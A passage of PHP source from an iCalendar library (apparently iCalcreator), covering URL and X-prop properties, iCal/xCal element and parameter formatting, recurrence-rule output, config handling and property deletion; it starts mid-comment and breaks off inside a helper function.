 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.4.8 - 2008-10-21
 * @return string
 */
  function createUrl() {
    if( empty( $this->url )) return FALSE;
    if( empty( $this->url['value'] ))
      return ( $this->getConfig( 'allowEmpty' )) ? $this->_createElement( 'URL' ) : FALSE;
    $attributes = $this->_createParams( $this->url['params'] );
    return $this->_createElement( 'URL', $attributes, $this->url['value'] );
  }
/**
 * set calendar component property url
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-06-23
 * @param string $value
 * @param string $params optional
 * @return bool
 */
  function setUrl( $value, $params=FALSE ) {
    if( !empty( $value )) {
      if( !filter_var( $value, FILTER_VALIDATE_URL ) && ( 'urn' != strtolower( substr( $value, 0, 3 ))))
        return FALSE;
    }
    elseif( $this->getConfig( 'allowEmpty' ))
      $value = '';
    else
      return FALSE;
    $this->url = array( 'value' => $value, 'params' => iCalUtilityFunctions::_setParams( $params ));
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: x-prop
 */
/**
 * creates formatted output for calendar component property x-prop
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.2 - 2012-12-18
 * @return string
 */
  function createXprop() {
    if( empty( $this->xprop )) return FALSE;
    $output = null;
    foreach( $this->xprop as $label => $xpropPart ) {
      if( !isset($xpropPart['value']) || ( empty( $xpropPart['value'] ) && !is_numeric( $xpropPart['value'] ))) {
        if( $this->getConfig( 'allowEmpty' )) $output .= $this->_createElement( $label );
        continue;
      }
      $attributes = $this->_createParams( $xpropPart['params'], array( 'LANGUAGE' ));
      if( is_array( $xpropPart['value'] )) {
        foreach( $xpropPart['value'] as $pix => $theXpart )
          $xpropPart['value'][$pix] = iCalUtilityFunctions::_strrep( $theXpart, $this->format, $this->format );
        $xpropPart['value']  = implode( ',', $xpropPart['value'] );
      }
      else
        $xpropPart['value'] = iCalUtilityFunctions::_strrep( $xpropPart['value'], $this->format, $this->nl );
      $output    .= $this->_createElement( $label, $attributes, $xpropPart['value'] );
    }
    return $output;
  }
/**
 * set calendar component property x-prop
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-06-23
 * @param string $label
 * @param mixed $value
 * @param array $params optional
 * @return bool
 */
  function setXprop( $label, $value, $params=FALSE ) {
    if( empty( $label ))
      return FALSE;
    if( 'X-' != strtoupper( substr( $label, 0, 2 )))
      return FALSE;
    if( empty( $value ) && !is_numeric( $value )) if( $this->getConfig( 'allowEmpty' )) $value = ''; else return FALSE;
    $xprop           = array( 'value' => $value );
    $xprop['params'] = iCalUtilityFunctions::_setParams( $params );
    if( !is_array( $this->xprop )) $this->xprop = array();
    $this->xprop[strtoupper( $label )] = $xprop;
    return TRUE;
  }
/*********************************************************************************/
/*********************************************************************************/
/**
 * create element format parts
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.0.6 - 2006-06-20
 * @return string
 */
  function _createFormat() {
    $objectname                   = null;
    switch( $this->format ) {
      case 'xcal':
        $objectname               = ( isset( $this->timezonetype )) ?
                                 strtolower( $this->timezonetype )  :  strtolower( $this->objName );
        $this->componentStart1    = $this->elementStart1 = '<';
        $this->componentStart2    = $this->elementStart2 = '>';
        $this->componentEnd1      = $this->elementEnd1   = '</';
        $this->componentEnd2      = $this->elementEnd2   = '>'.$this->nl;
        $this->intAttrDelimiter   = '<!-- -->';
        $this->attributeDelimiter = $this->nl;
        $this->valueInit          = null;
        break;
      default:
        $objectname               = ( isset( $this->timezonetype )) ?
                                 strtoupper( $this->timezonetype )  :  strtoupper( $this->objName );
        $this->componentStart1    = 'BEGIN:';
        $this->componentStart2    = null;
        $this->componentEnd1      = 'END:';
        $this->componentEnd2      = $this->nl;
        $this->elementStart1      = null;
        $this->elementStart2      = null;
        $this->elementEnd1        = null;
        $this->elementEnd2        = $this->nl;
        $this->intAttrDelimiter   = '<!-- -->';
        $this->attributeDelimiter = ';';
        $this->valueInit          = ':';
        break;
    }
    return $objectname;
  }
/**
 * creates formatted output for calendar component property
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.2 - 2012-12-18
 * @param string $label property name
 * @param string $attributes property attributes
 * @param string $content property content (optional)
 * @return string
 */
  function _createElement( $label, $attributes=null, $content=FALSE ) {
    switch( $this->format ) {
      case 'xcal':
        $label = strtolower( $label );
        break;
      default:
        $label = strtoupper( $label );
        break;
    }
    $output = $this->elementStart1.$label;
    $categoriesAttrLang = null;
    $attachInlineBinary = FALSE;
    $attachfmttype      = null;
    if (( 'xcal' == $this->format) && ( 'x-' == substr( $label, 0, 2 ))) {
      $this->xcaldecl[] = array( 'xmldecl'  => 'ELEMENT'
                               , 'ref'      => $label
                               , 'type2'    => '(#PCDATA)' );
    }
    if( !empty( $attributes ))  {
      $attributes  = trim( $attributes );
      if ( 'xcal' == $this->format ) {
        $attributes2 = explode( $this->intAttrDelimiter, $attributes );
        $attributes  = null;
        foreach( $attributes2 as $aix => $attribute ) {
          $attrKVarr = explode( '=', $attribute );
          if( empty( $attrKVarr[0] ))
            continue;
          if( !isset( $attrKVarr[1] )) {
            $attrValue = $attrKVarr[0];
            $attrKey   = $aix;
          }
          elseif( 2 == count( $attrKVarr)) {
            $attrKey   = strtolower( $attrKVarr[0] );
            $attrValue = $attrKVarr[1];
          }
          else {
            $attrKey   = strtolower( $attrKVarr[0] );
            unset( $attrKVarr[0] );
            $attrValue = implode( '=', $attrKVarr );
          }
          if(( 'attach' == $label ) && ( in_array( $attrKey, array( 'fmttype', 'encoding', 'value' )))) {
            $attachInlineBinary = TRUE;
            if( 'fmttype' == $attrKey )
              $attachfmttype = $attrKey.'='.$attrValue;
            continue;
          }
          elseif(( 'categories' == $label ) && ( 'language' == $attrKey ))
            $categoriesAttrLang = $attrKey.'='.$attrValue;
          else {
            $attributes .= ( empty( $attributes )) ? ' ' : $this->attributeDelimiter.' ';
            $attributes .= ( !empty( $attrKey )) ? $attrKey.'=' : null;
            if(( '"' == substr( $attrValue, 0, 1 )) && ( '"' == substr( $attrValue, -1 ))) {
              $attrValue = substr( $attrValue, 1, ( strlen( $attrValue ) - 2 ));
              $attrValue = str_replace( '"', '', $attrValue );
            }
            $attributes .= '"'.htmlspecialchars( $attrValue ).'"';
          }
        }
      }
      else {
        $attributes = str_replace( $this->intAttrDelimiter, $this->attributeDelimiter, $attributes );
      }
    }
    if(( 'xcal' == $this->format) &&
       ((( 'attach' == $label ) && !$attachInlineBinary ) || ( in_array( $label, array( 'tzurl', 'url' ))))) {
      $pos = strrpos($content, "/");
      $docname = ( $pos !== false) ? substr( $content, (1 - strlen( $content ) + $pos )) : $content;
      $this->xcaldecl[] = array( 'xmldecl'  => 'ENTITY'
                               , 'uri'      => $docname
                               , 'ref'      => 'SYSTEM'
                               , 'external' => $content
                               , 'type'     => 'NDATA'
                               , 'type2'    => 'BINERY' );
      $attributes .= ( empty( $attributes )) ? ' ' : $this->attributeDelimiter.' ';
      $attributes .= 'uri="'.$docname.'"';
      $content = null;
      if( 'attach' == $label ) {
        $attributes = str_replace( $this->attributeDelimiter, $this->intAttrDelimiter, $attributes );
        $content = $this->nl.$this->_createElement( 'extref', $attributes, null );
        $attributes = null;
      }
    }
    elseif(( 'xcal' == $this->format) && ( 'attach' == $label ) && $attachInlineBinary ) {
      $content = $this->nl.$this->_createElement( 'b64bin', $attachfmttype, $content ); // max one attribute
    }
    $output .= $attributes;
    if( !$content && ( '0' != $content )) {
      switch( $this->format ) {
        case 'xcal':
          $output .= ' /';
          $output .= $this->elementStart2.$this->nl;
          return $output;
          break;
        default:
          $output .= $this->elementStart2.$this->valueInit;
          return iCalUtilityFunctions::_size75( $output, $this->nl );
          break;
      }
    }
    $output .= $this->elementStart2;
    $output .= $this->valueInit.$content;
    switch( $this->format ) {
      case 'xcal':
        return $output.$this->elementEnd1.$label.$this->elementEnd2;
        break;
      default:
        return iCalUtilityFunctions::_size75( $output, $this->nl );
        break;
    }
  }
/**
 * creates formatted output for calendar component property parameters
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.10.27 - 2012-01-16
 * @param array $params  optional
 * @param array $ctrKeys optional
 * @return string
 */
  function _createParams( $params=array(), $ctrKeys=array() ) {
    if( !is_array( $params ) || empty( $params ))
      $params = array();
    $attrLANG = $attr1 = $attr2 = $lang = null;
    $CNattrKey   = ( in_array( 'CN',       $ctrKeys )) ? TRUE : FALSE ;
    $LANGattrKey = ( in_array( 'LANGUAGE', $ctrKeys )) ? TRUE : FALSE ;
    $CNattrExist = $LANGattrExist = FALSE;
    $xparams = array();
    foreach( $params as $paramKey => $paramValue ) {
      if(( FALSE !== strpos( $paramValue, ':' )) ||
         ( FALSE !== strpos( $paramValue, ';' )) ||
         ( FALSE !== strpos( $paramValue, ',' )))
        $paramValue = '"'.$paramValue.'"';
      if( ctype_digit( (string) $paramKey )) {
        $xparams[]          = $paramValue;
        continue;
      }
      $paramKey             = strtoupper( $paramKey );
      if( !in_array( $paramKey, array( 'ALTREP', 'CN', 'DIR', 'ENCODING', 'FMTTYPE', 'LANGUAGE', 'RANGE', 'RELTYPE', 'SENT-BY', 'TZID', 'VALUE' )))
        $xparams[$paramKey] = $paramValue;
      else
        $params[$paramKey]  = $paramValue;
    }
    ksort( $xparams, SORT_STRING );
    foreach( $xparams as $paramKey => $paramValue ) {
      if( ctype_digit( (string) $paramKey ))
        $attr2             .= $this->intAttrDelimiter.$paramValue;
      else
        $attr2             .= $this->intAttrDelimiter."$paramKey=$paramValue";
    }
    if( isset( $params['FMTTYPE'] )  && !in_array( 'FMTTYPE', $ctrKeys )) {
      $attr1               .= $this->intAttrDelimiter.'FMTTYPE='.$params['FMTTYPE'].$attr2;
      $attr2                = null;
    }
    if( isset( $params['ENCODING'] ) && !in_array( 'ENCODING',   $ctrKeys )) {
      if( !empty( $attr2 )) {
        $attr1             .= $attr2;
        $attr2              = null;
      }
      $attr1               .= $this->intAttrDelimiter.'ENCODING='.$params['ENCODING'];
    }
    if( isset( $params['VALUE'] )    && !in_array( 'VALUE',   $ctrKeys ))
      $attr1               .= $this->intAttrDelimiter.'VALUE='.$params['VALUE'];
    if( isset( $params['TZID'] )     && !in_array( 'TZID',    $ctrKeys )) {
      $attr1               .= $this->intAttrDelimiter.'TZID='.$params['TZID'];
    }
    if( isset( $params['RANGE'] )    && !in_array( 'RANGE',   $ctrKeys ))
      $attr1               .= $this->intAttrDelimiter.'RANGE='.$params['RANGE'];
    if( isset( $params['RELTYPE'] )  && !in_array( 'RELTYPE', $ctrKeys ))
      $attr1               .= $this->intAttrDelimiter.'RELTYPE='.$params['RELTYPE'];
    if( isset( $params['CN'] )       && $CNattrKey ) {
      $attr1                = $this->intAttrDelimiter.'CN='.$params['CN'];
      $CNattrExist          = TRUE;
    }
    if( isset( $params['DIR'] )      && in_array( 'DIR',      $ctrKeys )) {
      $delim = ( FALSE !== strpos( $params['DIR'], '"' )) ? '' : '"';
      $attr1               .= $this->intAttrDelimiter.'DIR='.$delim.$params['DIR'].$delim;
    }
    if( isset( $params['SENT-BY'] )  && in_array( 'SENT-BY',  $ctrKeys ))
      $attr1               .= $this->intAttrDelimiter.'SENT-BY='.$params['SENT-BY'];
    if( isset( $params['ALTREP'] )   && in_array( 'ALTREP',   $ctrKeys )) {
      $delim = ( FALSE !== strpos( $params['ALTREP'], '"' )) ? '' : '"';
      $attr1               .= $this->intAttrDelimiter.'ALTREP='.$delim.$params['ALTREP'].$delim;
    }
    if( isset( $params['LANGUAGE'] ) && $LANGattrKey ) {
      $attrLANG            .= $this->intAttrDelimiter.'LANGUAGE='.$params['LANGUAGE'];
      $LANGattrExist        = TRUE;
    }
    if( !$LANGattrExist ) {
      $lang = $this->getConfig( 'language' );
      if(( $CNattrExist || $LANGattrKey ) && $lang )
        $attrLANG .= $this->intAttrDelimiter.'LANGUAGE='.$lang;
    }
    return $attr1.$attrLANG.$attr2;
  }
/**
 * creates formatted output for calendar component property data value type recur
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.25 - 2013-06-30
 * @param array $recurlabel
 * @param array $recurdata
 * @return string
 */
  function _format_recur( $recurlabel, $recurdata ) {
    $output = null;
    foreach( $recurdata as $therule ) {
      if( empty( $therule['value'] )) {
        if( $this->getConfig( 'allowEmpty' )) $output .= $this->_createElement( $recurlabel );
        continue;
      }
      $attributes = ( isset( $therule['params'] )) ? $this->_createParams( $therule['params'] ) : null;
      $content1  = $content2  = null;
      foreach( $therule['value'] as $rulelabel => $rulevalue ) {
        switch( strtoupper( $rulelabel )) {
          case 'FREQ': {
            $content1 .= "FREQ=$rulevalue";
            break;
          }
          case 'UNTIL': {
            $parno     = ( isset( $rulevalue['hour'] )) ? 7 : 3;
            $content2 .= ';UNTIL='.iCalUtilityFunctions::_date2strdate( $rulevalue, $parno );
            break;
          }
          case 'COUNT':
          case 'INTERVAL':
          case 'WKST': {
            $content2 .= ";$rulelabel=$rulevalue";
            break;
          }
          case 'BYSECOND':
          case 'BYMINUTE':
          case 'BYHOUR':
          case 'BYMONTHDAY':
          case 'BYYEARDAY':
          case 'BYWEEKNO':
          case 'BYMONTH':
          case 'BYSETPOS': {
            $content2 .= ";$rulelabel=";
            if( is_array( $rulevalue )) {
              foreach( $rulevalue as $vix => $valuePart ) {
                $content2 .= ( $vix ) ? ',' : null;
                $content2 .= $valuePart;
              }
            }
            else
             $content2 .= $rulevalue;
            break;
          }
          case 'BYDAY': {
            $byday          = array( '' );
            $bx             = 0;
            foreach( $rulevalue as $bix => $bydayPart ) {
              if( ! empty( $byday[$bx] ) && ! ctype_digit( substr( $byday[$bx], -1 ))) // new day
                $byday[++$bx] = '';
              if( ! is_array( $bydayPart ))   // day without order number
                $byday[$bx] .= (string) $bydayPart;
              else {                          // day with order number
                foreach( $bydayPart as $bix2 => $bydayPart2 )
                  $byday[$bx] .= (string) $bydayPart2;
              }
            } // end foreach( $rulevalue as $bix => $bydayPart )
            if( 1 < count( $byday ))
              usort( $byday, array( 'iCalUtilityFunctions', '_recurBydaySort' ));
            $content2      .= ';BYDAY='.implode( ',', $byday );
            break;
          }
          default: {
            $content2 .= ";$rulelabel=$rulevalue";
            break;
          }
        }
      }
      $output .= $this->_createElement( $recurlabel, $attributes, $content1.$content2 );
    }
    return $output;
  }
/**
 * check if property not exists within component
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.5.1 - 2008-10-15
 * @param string $propName
 * @return bool
 */
  function _notExistProp( $propName ) {
    if( empty( $propName )) return FALSE; // when deleting x-prop, an empty propName may be used=allowed
    $propName = strtolower( $propName );
    if(     'last-modified'    == $propName )  { if( !isset( $this->lastmodified ))    return TRUE; }
    elseif( 'percent-complete' == $propName )  { if( !isset( $this->percentcomplete )) return TRUE; }
    elseif( 'recurrence-id'    == $propName )  { if( !isset( $this->recurrenceid ))    return TRUE; }
    elseif( 'related-to'       == $propName )  { if( !isset( $this->relatedto ))       return TRUE; }
    elseif( 'request-status'   == $propName )  { if( !isset( $this->requeststatus ))   return TRUE; }
    elseif((       'x-' != substr($propName,0,2)) && !isset( $this->$propName ))       return TRUE;
    return FALSE;
  }
/*********************************************************************************/
/*********************************************************************************/
/**
 * get general component config variables or info about subcomponents
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.9.6 - 2011-05-14
 * @param mixed $config
 * @return value
 */
  function getConfig( $config = FALSE) {
    if( !$config ) {
      $return = array();
      $return['ALLOWEMPTY']  = $this->getConfig( 'ALLOWEMPTY' );
      $return['FORMAT']      = $this->getConfig( 'FORMAT' );
      if( FALSE !== ( $lang  = $this->getConfig( 'LANGUAGE' )))
        $return['LANGUAGE']  = $lang;
      $return['NEWLINECHAR'] = $this->getConfig( 'NEWLINECHAR' );
      $return['TZTD']        = $this->getConfig( 'TZID' );
      $return['UNIQUE_ID']   = $this->getConfig( 'UNIQUE_ID' );
      return $return;
    }
    switch( strtoupper( $config )) {
      case 'ALLOWEMPTY':
        return $this->allowEmpty;
        break;
      case 'COMPSINFO':
        unset( $this->compix );
        $info = array();
        if( isset( $this->components )) {
          foreach( $this->components as $cix => $component ) {
            if( empty( $component )) continue;
            $info[$cix]['ordno'] = $cix + 1;
            $info[$cix]['type']  = $component->objName;
            $info[$cix]['uid']   = $component->getProperty( 'uid' );
            $info[$cix]['props'] = $component->getConfig( 'propinfo' );
            $info[$cix]['sub']   = $component->getConfig( 'compsinfo' );
          }
        }
        return $info;
        break;
      case 'FORMAT':
        return $this->format;
        break;
      case 'LANGUAGE':
         // get language for calendar component as defined in [RFC 1766]
        return $this->language;
        break;
      case 'NL':
      case 'NEWLINECHAR':
        return $this->nl;
        break;
      case 'PROPINFO':
        $output = array();
        if( !in_array( $this->objName, array( 'valarm', 'vtimezone', 'standard', 'daylight' ))) {
          if( empty( $this->uid['value'] ))   $this->_makeuid();
                                              $output['UID']              = 1;
          if( empty( $this->dtstamp ))        $this->_makeDtstamp();
                                              $output['DTSTAMP']          = 1;
        }
        if( !empty( $this->summary ))         $output['SUMMARY']          = 1;
        if( !empty( $this->description ))     $output['DESCRIPTION']      = count( $this->description );
        if( !empty( $this->dtstart ))         $output['DTSTART']          = 1;
        if( !empty( $this->dtend ))           $output['DTEND']            = 1;
        if( !empty( $this->due ))             $output['DUE']              = 1;
        if( !empty( $this->duration ))        $output['DURATION']         = 1;
        if( !empty( $this->rrule ))           $output['RRULE']            = count( $this->rrule );
        if( !empty( $this->rdate ))           $output['RDATE']            = count( $this->rdate );
        if( !empty( $this->exdate ))          $output['EXDATE']           = count( $this->exdate );
        if( !empty( $this->exrule ))          $output['EXRULE']           = count( $this->exrule );
        if( !empty( $this->action ))          $output['ACTION']           = 1;
        if( !empty( $this->attach ))          $output['ATTACH']           = count( $this->attach );
        if( !empty( $this->attendee ))        $output['ATTENDEE']         = count( $this->attendee );
        if( !empty( $this->categories ))      $output['CATEGORIES']       = count( $this->categories );
        if( !empty( $this->class ))           $output['CLASS']            = 1;
        if( !empty( $this->comment ))         $output['COMMENT']          = count( $this->comment );
        if( !empty( $this->completed ))       $output['COMPLETED']        = 1;
        if( !empty( $this->contact ))         $output['CONTACT']          = count( $this->contact );
        if( !empty( $this->created ))         $output['CREATED']          = 1;
        if( !empty( $this->freebusy ))        $output['FREEBUSY']         = count( $this->freebusy );
        if( !empty( $this->geo ))             $output['GEO']              = 1;
        if( !empty( $this->lastmodified ))    $output['LAST-MODIFIED']    = 1;
        if( !empty( $this->location ))        $output['LOCATION']         = 1;
        if( !empty( $this->organizer ))       $output['ORGANIZER']        = 1;
        if( !empty( $this->percentcomplete )) $output['PERCENT-COMPLETE'] = 1;
        if( !empty( $this->priority ))        $output['PRIORITY']         = 1;
        if( !empty( $this->recurrenceid ))    $output['RECURRENCE-ID']    = 1;
        if( !empty( $this->relatedto ))       $output['RELATED-TO']       = count( $this->relatedto );
        if( !empty( $this->repeat ))          $output['REPEAT']           = 1;
        if( !empty( $this->requeststatus ))   $output['REQUEST-STATUS']   = count( $this->requeststatus );
        if( !empty( $this->resources ))       $output['RESOURCES']        = count( $this->resources );
        if( !empty( $this->sequence ))        $output['SEQUENCE']         = 1;
        if( !empty( $this->sequence ))        $output['SEQUENCE']         = 1;
        if( !empty( $this->status ))          $output['STATUS']           = 1;
        if( !empty( $this->transp ))          $output['TRANSP']           = 1;
        if( !empty( $this->trigger ))         $output['TRIGGER']          = 1;
        if( !empty( $this->tzid ))            $output['TZID']             = 1;
        if( !empty( $this->tzname ))          $output['TZNAME']           = count( $this->tzname );
        if( !empty( $this->tzoffsetfrom ))    $output['TZOFFSETFROM']     = 1;
        if( !empty( $this->tzoffsetto ))      $output['TZOFFSETTO']       = 1;
        if( !empty( $this->tzurl ))           $output['TZURL']            = 1;
        if( !empty( $this->url ))             $output['URL']              = 1;
        if( !empty( $this->xprop ))           $output['X-PROP']           = count( $this->xprop );
        return $output;
        break;
      case 'SETPROPERTYNAMES':
        return array_keys( $this->getConfig( 'propinfo' ));
        break;
      case 'TZID':
        return $this->dtzid;
        break;
      case 'UNIQUE_ID':
        if( empty( $this->unique_id ))
          $this->unique_id  = ( isset( $_SERVER['SERVER_NAME'] )) ? gethostbyname( $_SERVER['SERVER_NAME'] ) : 'localhost';
        return $this->unique_id;
        break;
    }
  }
/**
 * general component config setting
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.10.18 - 2011-10-28
 * @param mixed  $config
 * @param string $value
 * @param bool   $softUpdate
 * @return void
 */
  function setConfig( $config, $value = FALSE, $softUpdate = FALSE ) {
    if( is_array( $config )) {
      $ak = array_keys( $config );
      foreach( $ak as $k ) {
        if( 'NEWLINECHAR' == strtoupper( $k )) {
          if( FALSE === $this->setConfig( 'NEWLINECHAR', $config[$k] ))
            return FALSE;
          unset( $config[$k] );
          break;
        }
      }
      foreach( $config as $cKey => $cValue ) {
        if( FALSE === $this->setConfig( $cKey, $cValue, $softUpdate ))
          return FALSE;
      }
      return TRUE;
    }
    $res = FALSE;
    switch( strtoupper( $config )) {
      case 'ALLOWEMPTY':
        $this->allowEmpty = $value;
        $subcfg = array( 'ALLOWEMPTY' => $value );
        $res    = TRUE;
        break;
      case 'FORMAT':
        $value  = trim( strtolower( $value ));
        $this->format = $value;
        $this->_createFormat();
        $subcfg = array( 'FORMAT' => $value );
        $res    = TRUE;
        break;
      case 'LANGUAGE':
         // set language for calendar component as defined in [RFC 1766]
        $value  = trim( $value );
        if( empty( $this->language ) || !$softUpdate )
          $this->language = $value;
        $subcfg = array( 'LANGUAGE' => $value );
        $res    = TRUE;
        break;
      case 'NL':
      case 'NEWLINECHAR':
        $this->nl = $value;
        $this->_createFormat();
        $subcfg = array( 'NL' => $value );
        $res    = TRUE;
        break;
      case 'TZID':
        $this->dtzid = $value;
        $subcfg = array( 'TZID' => $value );
        $res    = TRUE;
        break;
      case 'UNIQUE_ID':
        $value  = trim( $value );
        $this->unique_id = $value;
        $subcfg = array( 'UNIQUE_ID' => $value );
        $res    = TRUE;
        break;
      default:  // any unvalid config key.. .
        return TRUE;
    }
    if( !$res ) return FALSE;
    if( isset( $subcfg ) && !empty( $this->components )) {
      foreach( $subcfg as $cfgkey => $cfgvalue ) {
        foreach( $this->components as $cix => $component ) {
          $res = $component->setConfig( $cfgkey, $cfgvalue, $softUpdate );
          if( !$res )
            break 2;
          $this->components[$cix] = $component->copy(); // PHP4 compliant
        }
      }
    }
    return $res;
  }
/*********************************************************************************/
/**
 * delete component property value
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.8.8 - 2011-03-15
 * @param mixed $propName, bool FALSE => X-property
 * @param int   $propix, optional, if specific property is wanted in case of multiply occurences
 * @return bool, if successfull delete TRUE
 */
  function deleteProperty( $propName=FALSE, $propix=FALSE ) {
    if( $this->_notExistProp( $propName )) return FALSE;
    $propName = strtoupper( $propName );
    if( in_array( $propName, array( 'ATTACH',   'ATTENDEE', 'CATEGORIES', 'COMMENT',   'CONTACT', 'DESCRIPTION',    'EXDATE', 'EXRULE',
                                    'FREEBUSY', 'RDATE',    'RELATED-TO', 'RESOURCES', 'RRULE',   'REQUEST-STATUS', 'TZNAME', 'X-PROP'  ))) {
      if( !$propix )
        $propix = ( isset( $this->propdelix[$propName] ) && ( 'X-PROP' != $propName )) ? $this->propdelix[$propName] + 2 : 1;
      $this->propdelix[$propName] = --$propix;
    }
    $return = FALSE;
    switch( $propName ) {
      case 'ACTION':
        if( !empty( $this->action )) {
          $this->action = '';
          $return = TRUE;
        }
        break;
      case 'ATTACH':
        return $this->deletePropertyM( $this->attach, $this->propdelix[$propName] );
        break;
      case 'ATTENDEE':
        return $this->deletePropertyM( $this->attendee, $this->propdelix[$propName] );
        break;
      case 'CATEGORIES':
        return $this->deletePropertyM( $this->categories, $this->propdelix[$propName] );
        break;
      case 'CLASS':
        if( !empty( $this->class )) {
          $this->class = '';
          $return = TRUE;
        }
        break;
      case 'COMMENT':
        return $this->deletePropertyM( $this->comment, $this->propdelix[$propName] );
        break;
      case 'COMPLETED':
        if( !empty( $this->completed )) {
          $this->completed = '';
          $return = TRUE;
        }
        break;
      case 'CONTACT':
        return $this->deletePropertyM( $this->contact, $this->propdelix[$propName] );
        break;
      case 'CREATED':
        if( !empty( $this->created )) {
          $this->created = '';
          $return = TRUE;
        }
        break;
      case 'DESCRIPTION':
        return $this->deletePropertyM( $this->description, $this->propdelix[$propName] );
        break;
      case 'DTEND':
        if( !empty( $this->dtend )) {
          $this->dtend = '';
          $return = TRUE;
        }
        break;
      case 'DTSTAMP':
        if( in_array( $this->objName, array( 'valarm', 'vtimezone', 'standard', 'daylight' )))
          return FALSE;
        if( !empty( $this->dtstamp )) {
          $this->dtstamp = '';
          $return = TRUE;
        }
        break;
      case 'DTSTART':
        if( !empty( $this->dtstart )) {
          $this->dtstart = '';
          $return = TRUE;
        }
        break;
      case 'DUE':
        if( !empty( $this->due )) {
          $this->due = '';
          $return = TRUE;
        }
        break;
      case 'DURATION':
        if( !empty( $this->duration )) {
          $this->duration = '';
          $return = TRUE;
        }
        break;
      case 'EXDATE':
        return $this->deletePropertyM( $this->exdate, $this->propdelix[$propName] );
        break;
      case 'EXRULE':
        return $this->deletePropertyM( $this->exrule, $this->propdelix[$propName] );
        break;
      case 'FREEBUSY':
        return $this->deletePropertyM( $this->freebusy, $this->propdelix[$propName] );
        break;
      case 'GEO':
        if( !empty( $this->geo )) {
          $this->geo = '';
          $return = TRUE;
        }
        break;
      case 'LAST-MODIFIED':
        if( !empty( $this->lastmodified )) {
          $this->lastmodified = '';
          $return = TRUE;
        }
        break;
      case 'LOCATION':
        if( !empty( $this->location )) {
          $this->location = '';
          $return = TRUE;
        }
        break;
      case 'ORGANIZER':
        if( !empty( $this->organizer )) {
          $this->organizer = '';
          $return = TRUE;
        }
        break;
      case 'PERCENT-COMPLETE':
        if( !empty( $this->percentcomplete )) {
          $this->percentcomplete = '';
          $return = TRUE;
        }
        break;
      case 'PRIORITY':
        if( !empty( $this->priority )) {
          $this->priority = '';
          $return = TRUE;
        }
        break;
      case 'RDATE':
        return $this->deletePropertyM( $this->rdate, $this->propdelix[$propName] );
        break;
      case 'RECURRENCE-ID':
        if( !empty( $this->recurrenceid )) {
          $this->recurrenceid = '';
          $return = TRUE;
        }
        break;
      case 'RELATED-TO':
        return $this->deletePropertyM( $this->relatedto, $this->propdelix[$propName] );
        break;
      case 'REPEAT':
        if( !empty( $this->repeat )) {
          $this->repeat = '';
          $return = TRUE;
        }
        break;
      case 'REQUEST-STATUS':
        return $this->deletePropertyM( $this->requeststatus, $this->propdelix[$propName] );
        break;
      case 'RESOURCES':
        return $this->deletePropertyM( $this->resources, $this->propdelix[$propName] );
        break;
      case 'RRULE':
        return $this->deletePropertyM( $this->rrule, $this->propdelix[$propName] );
        break;
      case 'SEQUENCE':
        if( !empty( $this->sequence )) {
          $this->sequence = '';
          $return = TRUE;
        }
        break;
      case 'STATUS':
        if( !empty( $this->status )) {
          $this->status = '';
          $return = TRUE;
        }
        break;
      case 'SUMMARY':
        if( !empty( $this->summary )) {
          $this->summary = '';
          $return = TRUE;
        }
        break;
      case 'TRANSP':
        if( !empty( $this->transp )) {
          $this->transp = '';
          $return = TRUE;
        }
        break;
      case 'TRIGGER':
        if( !empty( $this->trigger )) {
          $this->trigger = '';
          $return = TRUE;
        }
        break;
      case 'TZID':
        if( !empty( $this->tzid )) {
          $this->tzid = '';
          $return = TRUE;
        }
        break;
      case 'TZNAME':
        return $this->deletePropertyM( $this->tzname, $this->propdelix[$propName] );
        break;
      case 'TZOFFSETFROM':
        if( !empty( $this->tzoffsetfrom )) {
          $this->tzoffsetfrom = '';
          $return = TRUE;
        }
        break;
      case 'TZOFFSETTO':
        if( !empty( $this->tzoffsetto )) {
          $this->tzoffsetto = '';
          $return = TRUE;
        }
        break;
      case 'TZURL':
        if( !empty( $this->tzurl )) {
          $this->tzurl = '';
          $return = TRUE;
        }
        break;
      case 'UID':
        if( in_array( $this->objName, array( 'valarm', 'vtimezone', 'standard', 'daylight' )))
          return FALSE;
        if( !empty( $this->uid )) {
          $this->uid = '';
          $return = TRUE;
        }
        break;
      case 'URL':
        if( !empty( $this->url )) {
          $this->url = '';
          $return = TRUE;
        }
        break;
      default:
        $reduced = '';
        if( $propName != 'X-PROP' ) {
          if( !isset( $this->xprop[$propName] )) return FALSE;
          foreach( $this->xprop as $k => $a ) {
            if(( $k != $propName ) && !empty( $a ))
              $reduced[$k] = $a;
          }
        }
        else {
          if( count( $this->xprop ) <= $propix ) { unset( $this->propdelix[$propName] ); return FALSE; }
          $xpropno = 0;
          foreach( $this->xprop as $xpropkey => $xpropvalue ) {
            if( $propix != $xpropno )
              $reduced[$xpropkey] = $xpropvalue;
            $xpropno++;
          }
        }
        $this->xprop = $reduced;
        if( empty( $this->xprop )) {
          unset( $this->propdelix[$propName] );
          return FALSE;
        }
        return TRUE;
    }
    return $return;
  }
/*********************************************************************************/
/**
 * delete component property value, fixing components with multiple occurencies
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.8.8 - 2011-03-15
 * @param array $multiprop, reference to a component property
 * @param int   $propix, reference to removal counter
 * @return bool TRUE
 */
  function deletePropertyM( & $multiprop, & $propix ) {
    if( isset( $multiprop[$propix] ))
      unset( $multiprop[$propix] );
    if( empty( $multiprop )) {
      $multiprop = '';
      unset( $propix );
